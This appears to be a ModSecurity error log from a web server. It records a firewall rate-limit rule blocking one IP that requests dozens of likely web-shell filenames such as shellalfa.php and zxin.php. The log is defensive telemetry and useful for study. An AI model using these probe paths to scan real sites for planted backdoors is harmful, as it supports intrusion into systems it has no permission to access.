[Sat Dec 20 20:47:33.355770 2025] [:error] [pid 39493:tid 39558] [client 4.197.92.49:51875] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lala.php"] [unique_id "aUaa5WhjL2VG_FmIHqDs4QAAAIk"]
[Sat Dec 20 20:47:34.398560 2025] [:error] [pid 33793:tid 33811] [client 4.197.92.49:34760] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "aUaa5lSicyB0BFmbRMzIiQAAAtA"]
[Sat Dec 20 20:47:50.893394 2025] [:error] [pid 62124:tid 62136] [client 4.197.92.49:51879] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mo.php"] [unique_id "aUaa9ls94zPA9ULQOjlwNAAAAAo"]
[Sat Dec 20 20:47:51.558325 2025] [:error] [pid 33687:tid 33705] [client 4.197.92.49:48058] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mo.php"] [unique_id "aUaa9zYMR4qK1N4g7vjCjAAAAk8"]
[Sat Dec 20 20:47:53.883396 2025] [:error] [pid 33793:tid 33813] [client 4.197.92.49:36381] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mo.php"] [unique_id "aUaa-VSicyB0BFmbRMzIlwAAAtI"]
[Sat Dec 20 20:47:56.163168 2025] [:error] [pid 33687:tid 33712] [client 4.197.92.49:35692] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mo.php"] [unique_id "aUaa_DYMR4qK1N4g7vjCkQAAAlY"]
[Sat Dec 20 20:48:02.156693 2025] [:error] [pid 62124:tid 62145] [client 4.197.92.49:42467] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file21.php"] [unique_id "aUabAls94zPA9ULQOjlwNgAAABM"]
[Sat Dec 20 20:48:03.185661 2025] [:error] [pid 33844:tid 33858] [client 4.197.92.49:1370] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file21.php"] [unique_id "aUabAyaNtwGsyqqVmQHqPAAAAww"]
[Sat Dec 20 20:48:04.305035 2025] [:error] [pid 33749:tid 33753] [client 4.197.92.49:41110] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file21.php"] [unique_id "aUabBNoInXJnb96wei9HeQAAAoI"]
[Sat Dec 20 20:48:04.725271 2025] [:error] [pid 33749:tid 33762] [client 4.197.92.49:36364] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file21.php"] [unique_id "aUabBNoInXJnb96wei9HegAAAos"]
[Sat Dec 20 20:48:05.492466 2025] [:error] [pid 33749:tid 33756] [client 4.197.92.49:50820] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ok.php"] [unique_id "aUabBdoInXJnb96wei9HfAAAAoU"]
[Sat Dec 20 20:48:06.493779 2025] [:error] [pid 39577:tid 39590] [client 4.197.92.49:50870] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ok.php"] [unique_id "aUabBrviRnt1rJiSOfxUtAAAAMs"]
[Sat Dec 20 20:48:07.461489 2025] [:error] [pid 33749:tid 33770] [client 4.197.92.49:1433] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ok.php"] [unique_id "aUabB9oInXJnb96wei9HgQAAApM"]
[Sat Dec 20 20:48:08.299786 2025] [:error] [pid 33570:tid 33596] [client 4.197.92.49:1459] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ok.php"] [unique_id "aUabCITNveA-c6YcSrICuAAAAdQ"]
[Sat Dec 20 20:48:10.232207 2025] [:error] [pid 33749:tid 33773] [client 4.197.92.49:50799] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/444.php"] [unique_id "aUabCtoInXJnb96wei9HhAAAApY"]
[Sat Dec 20 20:48:11.382967 2025] [:error] [pid 33687:tid 33704] [client 4.197.92.49:40786] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/444.php"] [unique_id "aUabCzYMR4qK1N4g7vjClQAAAk4"]
[Sat Dec 20 20:48:12.152290 2025] [:error] [pid 39577:tid 39589] [client 4.197.92.49:40798] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/444.php"] [unique_id "aUabDLviRnt1rJiSOfxUuQAAAMo"]
[Sat Dec 20 20:48:12.919911 2025] [:error] [pid 62124:tid 62134] [client 4.197.92.49:52000] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/444.php"] [unique_id "aUabDFs94zPA9ULQOjlwQAAAAAg"]
[Sat Dec 20 20:48:14.108988 2025] [:error] [pid 33687:tid 33708] [client 4.197.92.49:1456] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zc-903.php"] [unique_id "aUabDjYMR4qK1N4g7vjCmQAAAlI"]
[Sat Dec 20 20:48:16.811680 2025] [:error] [pid 14247:tid 14254] [client 4.197.92.49:1770] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zc-903.php"] [unique_id "aUabECDv9TtKKdJQn9kJwQAAAQU"]
[Sat Dec 20 20:48:19.335622 2025] [:error] [pid 33570:tid 33580] [client 4.197.92.49:1424] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zc-903.php"] [unique_id "aUabE4TNveA-c6YcSrICvwAAAcQ"]
[Sat Dec 20 20:48:21.782017 2025] [:error] [pid 14247:tid 14253] [client 4.197.92.49:37833] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zc-903.php"] [unique_id "aUabFSDv9TtKKdJQn9kJygAAAQQ"]
[Sat Dec 20 20:48:24.140529 2025] [:error] [pid 33749:tid 33755] [client 4.197.92.49:36446] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cc.php"] [unique_id "aUabGNoInXJnb96wei9HmAAAAoQ"]
[Sat Dec 20 20:48:26.705499 2025] [:error] [pid 33844:tid 33864] [client 4.197.92.49:39071] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cc.php"] [unique_id "aUabGiaNtwGsyqqVmQHqUAAAAxI"]
[Sat Dec 20 20:48:28.042842 2025] [:error] [pid 33570:tid 33582] [client 4.197.92.49:37843] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cc.php"] [unique_id "aUabHITNveA-c6YcSrICwQAAAcY"]
[Sat Dec 20 20:48:31.239611 2025] [:error] [pid 33570:tid 33597] [client 4.197.92.49:48048] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cc.php"] [unique_id "aUabH4TNveA-c6YcSrICxAAAAdU"]
[Sat Dec 20 20:48:34.974960 2025] [:error] [pid 39493:tid 39571] [client 4.197.92.49:43622] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nij.php"] [unique_id "aUabImhjL2VG_FmIHqDtDAAAAJY"]
[Sat Dec 20 20:48:38.242091 2025] [:error] [pid 33687:tid 33695] [client 4.197.92.49:50752] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nij.php"] [unique_id "aUabJjYMR4qK1N4g7vjCqgAAAkU"]
[Sat Dec 20 20:48:38.465073 2025] [:error] [pid 33793:tid 33803] [client 4.197.92.49:39072] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nij.php"] [unique_id "aUabJlSicyB0BFmbRMzIpwAAAsg"]
[Sat Dec 20 20:48:38.738089 2025] [:error] [pid 33687:tid 33693] [client 4.197.92.49:43630] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nij.php"] [unique_id "aUabJjYMR4qK1N4g7vjCqwAAAkM"]
[Sat Dec 20 20:48:39.058094 2025] [:error] [pid 33749:tid 33751] [client 4.197.92.49:48061] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aUabJ9oInXJnb96wei9HpgAAAoA"]
[Sat Dec 20 20:48:40.505097 2025] [:error] [pid 33570:tid 33585] [client 4.197.92.49:36586] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aUabKITNveA-c6YcSrICyQAAAck"]
[Sat Dec 20 20:48:41.826687 2025] [:error] [pid 62124:tid 62143] [client 4.197.92.49:48001] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aUabKVs94zPA9ULQOjlwVQAAABE"]
[Sat Dec 20 20:48:43.512914 2025] [:error] [pid 62124:tid 62133] [client 4.197.92.49:51048] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aUabK1s94zPA9ULQOjlwVwAAAAc"]
[Sat Dec 20 20:48:45.662855 2025] [:error] [pid 39577:tid 39596] [client 4.197.92.49:51037] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "aUabLbviRnt1rJiSOfxUyAAAANE"]
[Sat Dec 20 20:48:47.623168 2025] [:error] [pid 14286:tid 14305] [client 4.197.92.49:48713] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "aUabL57rbXIrw6rGSdZvJAAAAU8"]
[Sat Dec 20 20:49:06.024018 2025] [:error] [pid 14286:tid 14312] [client 4.197.92.49:36594] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zxin.php"] [unique_id "aUabQp7rbXIrw6rGSdZvNwAAAVY"]
[Sat Dec 20 20:49:06.849855 2025] [:error] [pid 62124:tid 62144] [client 4.197.92.49:1038] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zxin.php"] [unique_id "aUabQls94zPA9ULQOjlwYAAAABI"]
[Sat Dec 20 20:49:08.203923 2025] [:error] [pid 62124:tid 62145] [client 4.197.92.49:49926] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zxin.php"] [unique_id "aUabRFs94zPA9ULQOjlwYgAAABM"]
[Sat Dec 20 20:49:09.320293 2025] [:error] [pid 14286:tid 14291] [client 4.197.92.49:51385] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zxin.php"] [unique_id "aUabRZ7rbXIrw6rGSdZvPQAAAUE"]
[Sat Dec 20 20:49:10.369007 2025] [:error] [pid 33749:tid 33768] [client 4.197.92.49:36629] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xtt.php"] [unique_id "aUabRtoInXJnb96wei9HugAAApE"]
[Sat Dec 20 20:49:11.243830 2025] [:error] [pid 39493:tid 39553] [client 4.197.92.49:49939] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xtt.php"] [unique_id "aUabR2hjL2VG_FmIHqDtJwAAAIQ"]
[Sat Dec 20 20:49:13.030938 2025] [:error] [pid 62124:tid 62127] [client 4.197.92.49:46056] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xtt.php"] [unique_id "aUabSVs94zPA9ULQOjlwZQAAAAE"]
[Sat Dec 20 20:49:13.710224 2025] [:error] [pid 33749:tid 33774] [client 4.197.92.49:48757] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xtt.php"] [unique_id "aUabSdoInXJnb96wei9HvgAAApc"]
[Sat Dec 20 20:49:14.505918 2025] [:error] [pid 33570:tid 33576] [client 4.197.92.49:49496] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index/function.php"] [unique_id "aUabSoTNveA-c6YcSrIC0QAAAcA"]
[Sat Dec 20 20:49:15.903318 2025] [:error] [pid 14286:tid 14300] [client 4.197.92.49:36111] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index/function.php"] [unique_id "aUabS57rbXIrw6rGSdZvQQAAAUo"]
[Sat Dec 20 20:49:16.351524 2025] [:error] [pid 14286:tid 14309] [client 4.197.92.49:45210] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index/function.php"] [unique_id "aUabTJ7rbXIrw6rGSdZvQgAAAVM"]
[Sat Dec 20 20:49:16.802359 2025] [:error] [pid 33687:tid 33695] [client 4.197.92.49:36085] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index/function.php"] [unique_id "aUabTDYMR4qK1N4g7vjCuAAAAkU"]
[Sat Dec 20 20:49:18.417175 2025] [:error] [pid 33793:tid 33801] [client 4.197.92.49:36500] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/noe.php"] [unique_id "aUabTlSicyB0BFmbRMzIuAAAAsY"]
[Sat Dec 20 20:49:19.567566 2025] [:error] [pid 14247:tid 14249] [client 4.197.92.49:46059] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/noe.php"] [unique_id "aUabTyDv9TtKKdJQn9kJ5AAAAQA"]
[Sat Dec 20 20:49:20.964280 2025] [:error] [pid 62124:tid 62145] [client 4.197.92.49:51649] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/noe.php"] [unique_id "aUabUFs94zPA9ULQOjlwawAAABM"]
[Sat Dec 20 20:49:21.732890 2025] [:error] [pid 33793:tid 33813] [client 4.197.92.49:45239] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/noe.php"] [unique_id "aUabUVSicyB0BFmbRMzIugAAAtI"]
[Sat Dec 20 20:49:22.549410 2025] [:error] [pid 33687:tid 33700] [client 4.197.92.49:48751] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class20.php"] [unique_id "aUabUjYMR4qK1N4g7vjCugAAAko"]
[Sat Dec 20 20:49:23.062798 2025] [:error] [pid 33570:tid 33589] [client 4.197.92.49:49946] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class20.php"] [unique_id "aUabU4TNveA-c6YcSrIC0wAAAc0"]
[Sat Dec 20 20:49:24.830061 2025] [:error] [pid 14286:tid 14312] [client 4.197.92.49:41973] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class20.php"] [unique_id "aUabVJ7rbXIrw6rGSdZvRQAAAVY"]
[Sat Dec 20 20:49:29.467215 2025] [:error] [pid 33749:tid 33752] [client 4.197.92.49:48053] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class20.php"] [unique_id "aUabWdoInXJnb96wei9HyAAAAoE"]
[Sat Dec 20 20:49:30.272869 2025] [:error] [pid 33749:tid 33769] [client 4.197.92.49:46664] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shellalfa.php"] [unique_id "aUabWtoInXJnb96wei9HzAAAApI"]
